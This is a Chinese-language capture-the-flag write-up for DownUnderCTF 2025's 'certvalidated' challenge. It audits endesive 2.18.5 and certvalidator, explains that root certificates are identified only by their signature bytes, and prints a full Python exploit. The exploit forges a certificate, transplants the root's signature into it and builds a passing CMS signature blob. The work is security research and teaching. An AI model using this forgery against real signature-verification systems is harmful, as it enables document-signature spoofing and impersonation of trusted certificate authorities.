2025-12-切题

最近有对证书这方面的需求,正好 DownUnderCTF 2025 正好有这种题目,所以研究了一下

certvalidated

题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python3

import base64
from endesive import plain

TO_SIGN = 'just a random hex string: af17a1f2654d3d40f532e314c7347cfaf24af12be4b43c5fc95f9fb98ce74601'
DUCTF_ROOT_CA = open('./root.crt', 'rb').read()

print(f'Sign this! <<{TO_SIGN}>>')
content_info = base64.b64decode(input('Your CMS blob (base64): '))

hashok, signatureok, certok = plain.verify(content_info, TO_SIGN.encode(), [DUCTF_ROOT_CA])

print(f'{hashok = }')
print(f'{signatureok = }')
print(f'{certok = }')

if all([hashok, signatureok, certok]):
print(open('flag.txt', 'r').read())

其中 endesive 的版本是 2.18.5

问题非常简洁,核心逻辑如下:

  1. 加载信任根:读取本地的 root.crt 作为信任锚点(Trust Anchor)。
  2. 生成挑战:随机生成一个十六进制字符串 TO_SIGN
  3. 接收输入:接收用户上传的 Base64 编码的 CMS (Cryptographic Message Syntax) 签名包。
  4. 验证逻辑:调用 endesive.plain.verify 进行验证,要求满足三个条件:
    • hashok: 数据哈希匹配(内容未被篡改)。
    • signatureok: 签名验证通过(数据确实由 CMS 中的证书签名)。
    • certok: 证书链必须受 root.crt 信任。

如果这三个布尔值都为 True,则输出 flag

其中 hashoksignatureok 显然不是什么大问题,我们的核心就是如何绕过这个证书链验证实现伪造。

我们需要对 endesive 进行代码审计,可以发现 plain.verify 调用的是 class VerifyData,审计该函数可以发现验证被分为了两步:

  1. 签名验证 (signatureok): 直接从 CMS 包中提取证书,取出公钥,验证数据的签名。

    这里只验证“证书公钥”和“数据签名”是否匹配,不验证证书本身的合法性。这意味着只要我们自己生成密钥对和证书,这一步必然通过。

  2. 信任链验证 (certok): 调用 CertificateValidator 来验证证书路径。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    validator = CertificateValidator(
    cert, othercerts, validation_context=self.context
    )
    try:
    path = validator.validate_usage(set(["digital_signature"]))
    certok = True
    except Exception as ex:
    print("*" * 10, "failed certificate verification:", str(ex))
    print("cert.issuer:", cert.native["tbs_certificate"]["issuer"])
    print("cert.subject:", cert.native["tbs_certificate"]["subject"])
    certok = False
    return (hashok, signatureok, certok)

CertificateValidator 来自 certvalidator 库,所以我们的核心就是对 certvalidator 进行代码审计。

查看 class CertificateValidator 发现内部使用 validate_usage 函数进行证书链验证,内部代码很短,就是

1
2
3
4
5
6
7
8
9
self._validate_path()
validate_usage(
self._context,
self._certificate,
key_usage,
extended_key_usage,
extended_optional
)
return self._path

因此接下来我们要分析 _validate_pat

_validate_path 中,核心逻辑是构建证书路径。如果没有合法的路径从待验证证书通向受信任的根证书,验证就会失败。

1
2
3
4
5
try:
# 尝试构建路径
paths = self._context.certificate_registry.build_paths(self._certificate)
except (PathBuildingError) as e:
# ...

如果 build_paths 成功返回了路径,接下来才会调用 validate_path 进行校验。因此,Path Building 是我们的下一个审计重点。

查看 build_paths,打开 certvalidator/registry.pybuild_paths 初始化一个路径对象,然后调用 _walk_issuers

1
2
3
4
5
6
def build_paths(self, end_entity_cert):
# ...
path = ValidationPath(end_entity_cert)
# ...
self._walk_issuers(path, paths, failed_paths)
# ...

核心是 _walk_issuers,这个函数负责向上查找父证书,直到找到信任锚(Trust Anchor)。

1
2
3
4
5
6
7
8
9
def _walk_issuers(self, path, paths, failed_paths):
"""
... stopping once the certificate in question is one contained within the CA certs list
"""
# 核心漏洞
if path.first.signature in self._ca_lookup:
paths.append(path)
return
# ...

注意这行代码:if path.first.signature in self._ca_lookup:。 它在判断当前证书是否为受信任的根证书时,仅仅检查了证书的签名(signature bytes)是否存在于 _ca_lookup 表中

这是一个非常危险的信号。正常情况下,判断一个证书是否是某个特定的 Root CA,应该比对它的 Subject 字段、公钥指纹(Fingerprint)或者完整的证书哈希。签名(Signature)只是证书的一部分数据,它本身并不代表身份。

为了确认这个猜想,我们需要看 CertificateRegistry.__init__ 是如何填充 _ca_lookup 的。

1
2
3
4
5
self._ca_lookup = {}

for trust_root in trust_roots:
# ...
self._ca_lookup[trust_root.signature] = True

可以发现,信任库确实是用“签名数据”作为 Key 来索引受信任证书的。

这时候如果我们构造一个证书 FakeCert

  • 它的内容(公钥、有效期等)是我自己填的。
  • 但是我把它的 Signature Value 字段强行替换成 RootCert 的签名。

我们进行验签的话,当代码运行到 _walk_issuers 时,它读取 FakeCert.signature

由于 FakeCert.signature == RootCert.signature ,所以其会认为 FakeCert.signature_ca_lookup 中,从而判定 FakeCert 就是受信任的 RootCert

当然还有最后一步,就是检查 validate.py,因为路径构建成功后,通常验证器还会对路径上的每个证书进行密码学验签。我们需要确认这种欺骗是否能通过后续的检查。

查看 validate_path_validate_path,回到 certvalidator/validate.py_validate_path 函数接收我们刚刚构建的“非法路径”。 假设我们的路径只包含一个证书:[FakeCert](因为它被误认为是根证书,所以它是路径的起点也是终点)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
def _validate_path(validation_context, path, ...):
trust_anchor = path.first # FakeCert

# path_length = 1 - 1 = 0
path_length = len(path) - 1

# ...

# 验证循环
index = 1
last_index = len(path) - 1 # 0

# while 1 <= 0, pass
while index <= last_index:
cert = path[index]
# 只有进入这里才会执行 verify_func
# ...

因此:

  • X.509 验证逻辑中,信任锚(Trust Anchor) 本身是不需要验证签名的(因为它是信任的起点,通常是自签名的)。
  • 由于 registry.py 的 bug,我们的 FakeCert 被当成了信任锚。
  • 因此,validate.py 里的验签逻辑完全跳过了FakeCert 自身的验证。
  • 最终函数返回成功,verifier.py 里的 certok 变为 True

最后我们来总结一下漏洞:

  • 验证器通过比对 Signature Value (签名字节流) 来识别根证书,而不是比对证书指纹或公钥。如果攻击者伪造一个证书,将其签名部分替换为 root.crt 的签名,验证器就会误以为这个伪造证书就是系统里的根证书。
  • 一旦验证器认为它是根证书(Trust Anchor),在随后的 validate.py 逻辑中,作为路径起点的根证书是不会验证其自身的签名的(因为根证书通常是自签名的且被系统隐式信任)。

最后就是构造攻击了,根据题目我们要构造满足以下所有条件的 CMS 包:

  1. 满足 signatureok
    • 使用我们自己生成的 RSA 私钥对 TO_SIGN 进行签名。
    • CMS 中包含的证书必须携带对应的公钥。
  2. 满足 certok (欺骗 registry.py)
    • 伪造证书的 SubjectIssuer 必须与 root.crt 一致。
    • 攻击核心:将伪造证书序列化后,找到其签名部分,强制替换为 root.crt 的原始签名字节。
  3. 满足 validate_usage
    • verifier.py 显式检查了 validate_usage(set(["digital_signature"]))
    • 伪造证书必须包含 KeyUsage 扩展,并开启 digital_signature 位,否则验证会抛出异常导致 certok=False

然后就是构造这种证书了,伪造逻辑都有了,所以你只要把攻击方式告诉 ai 就好了,ai 就可以自动生成你需要的伪造代码了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
import base64
import datetime
from pwn import *
from cryptography import x509
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from asn1crypto import cms, x509 as ax509

conn = process(['python', 'certvalidated.py'])

def create_exploit_cert(subject, issuer, pub_key, priv_key):
"""
生成包含必要扩展的伪造证书
"""
builder = x509.CertificateBuilder()
builder = builder.subject_name(subject)
builder = builder.issuer_name(issuer)
builder = builder.not_valid_before(datetime.datetime.utcnow() - datetime.timedelta(days=1))
builder = builder.not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=365))
builder = builder.serial_number(x509.random_serial_number())
builder = builder.public_key(pub_key)

# verifier.py 显式检查了 digital_signature 权限
builder = builder.add_extension(
x509.KeyUsage(
digital_signature=True,
content_commitment=False,
key_encipherment=False,
data_encipherment=False,
key_agreement=False,
key_cert_sign=True, # 同时也伪装成 CA
crl_sign=True,
encipher_only=False,
decipher_only=False
),
critical=True
)

# 添加 BasicConstraints (CA=True) 以通过潜在的 CA 检查
builder = builder.add_extension(
x509.BasicConstraints(ca=True, path_length=None), critical=True,
)

# 签名 (稍后会被替换)
cert = builder.sign(private_key=priv_key, algorithm=hashes.SHA256())
return cert

def exploit():
# --- 步骤 1: 准备 Root CA 信息 ---
print("[*] Loading root.crt...")
with open('root.crt', 'rb') as f:
root_data = f.read()
root_cert = x509.load_pem_x509_certificate(root_data)

# 提取 Root 的原始签名 (用于欺骗 registry.py)
root_signature = root_cert.signature
print(f"[*] Stealing Root Signature ({len(root_signature)} bytes)...")

# --- 步骤 2: 生成攻击者密钥 ---
print("[*] Generating attacker keys...")
my_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
my_pub = my_key.public_key()

# --- 步骤 3: 创建伪造证书 ---
print("[*] Creating fake certificate...")
# 使用与 Root 相同的 Subject/Issuer
fake_cert = create_exploit_cert(root_cert.subject, root_cert.issuer, my_pub, my_key)
fake_cert_der = fake_cert.public_bytes(serialization.Encoding.DER)

# --- 步骤 4: 执行签名移植 (Signature Transplantation) ---
print("[*] Transplanting signature...")
fake_signature = fake_cert.signature

# 确保能找到我们要替换的签名部分
if fake_signature not in fake_cert_der:
print("[-] Error: Could not locate signature bytes in DER. Exploit failed locally.")
return

# 替换签名字节
patched_cert_der = fake_cert_der.replace(fake_signature, root_signature)
print("[+] Signature transplanted successfully.")

# --- 步骤 5: 获取题目 Challenge ---
print("[*] Receiving challenge...")
data = conn.recvuntil(b'Your CMS blob').decode()
if '<<' not in data:
print("[-] Failed to find start marker '<<'")
return

hex_str = data.split('<<')[1].split('>>')[0]
to_sign_bytes = hex_str.encode('utf-8')
print(f"[*] Signing text: {to_sign_bytes}")

# --- 步骤 6: 签名并构建 CMS ---
# 使用我们的私钥签名数据 (verifier.py 会用 CMS 里的公钥验签,这步是合法的)
signature = my_key.sign(
to_sign_bytes,
padding.PKCS1v15(),
hashes.SHA256()
)

# 使用 asn1crypto 构建 CMS 结构
# 我们需要手动塞入那个“被篡改了签名的证书”

# 加载伪造证书对象获取序列号等信息
fake_cert_obj = ax509.Certificate.load(patched_cert_der)

signed_data = cms.SignedData({
'version': 'v1',
'digest_algorithms': [
{'algorithm': 'sha256', 'parameters': None}
],
'encap_content_info': {
'content_type': 'data',
'content': to_sign_bytes
},
'certificates': [
# 放入被篡改的证书
cms.CertificateChoices.load(patched_cert_der)
],
'signer_infos': [
{
'version': 'v1',
'sid': cms.IssuerAndSerialNumber({
'issuer': fake_cert_obj.issuer,
'serial_number': fake_cert_obj.serial_number
}),
'digest_algorithm': {
'algorithm': 'sha256',
'parameters': None
},
'signature_algorithm': {
'algorithm': 'sha256_rsa',
'parameters': None
},
'signature': signature
}
]
})

content_info = cms.ContentInfo({
'content_type': 'signed_data',
'content': signed_data
})

# --- 步骤 7: 发送 ---
payload = base64.b64encode(content_info.dump())
print(f"[*] Sending payload ({len(payload)} bytes)...")
conn.sendline(payload)

conn.interactive()

if __name__ == '__main__':
exploit()

现在的 endesive 版本已经是 2.19.2 了,对这个版本进行审计发现其已经不使用 certvalidator 了。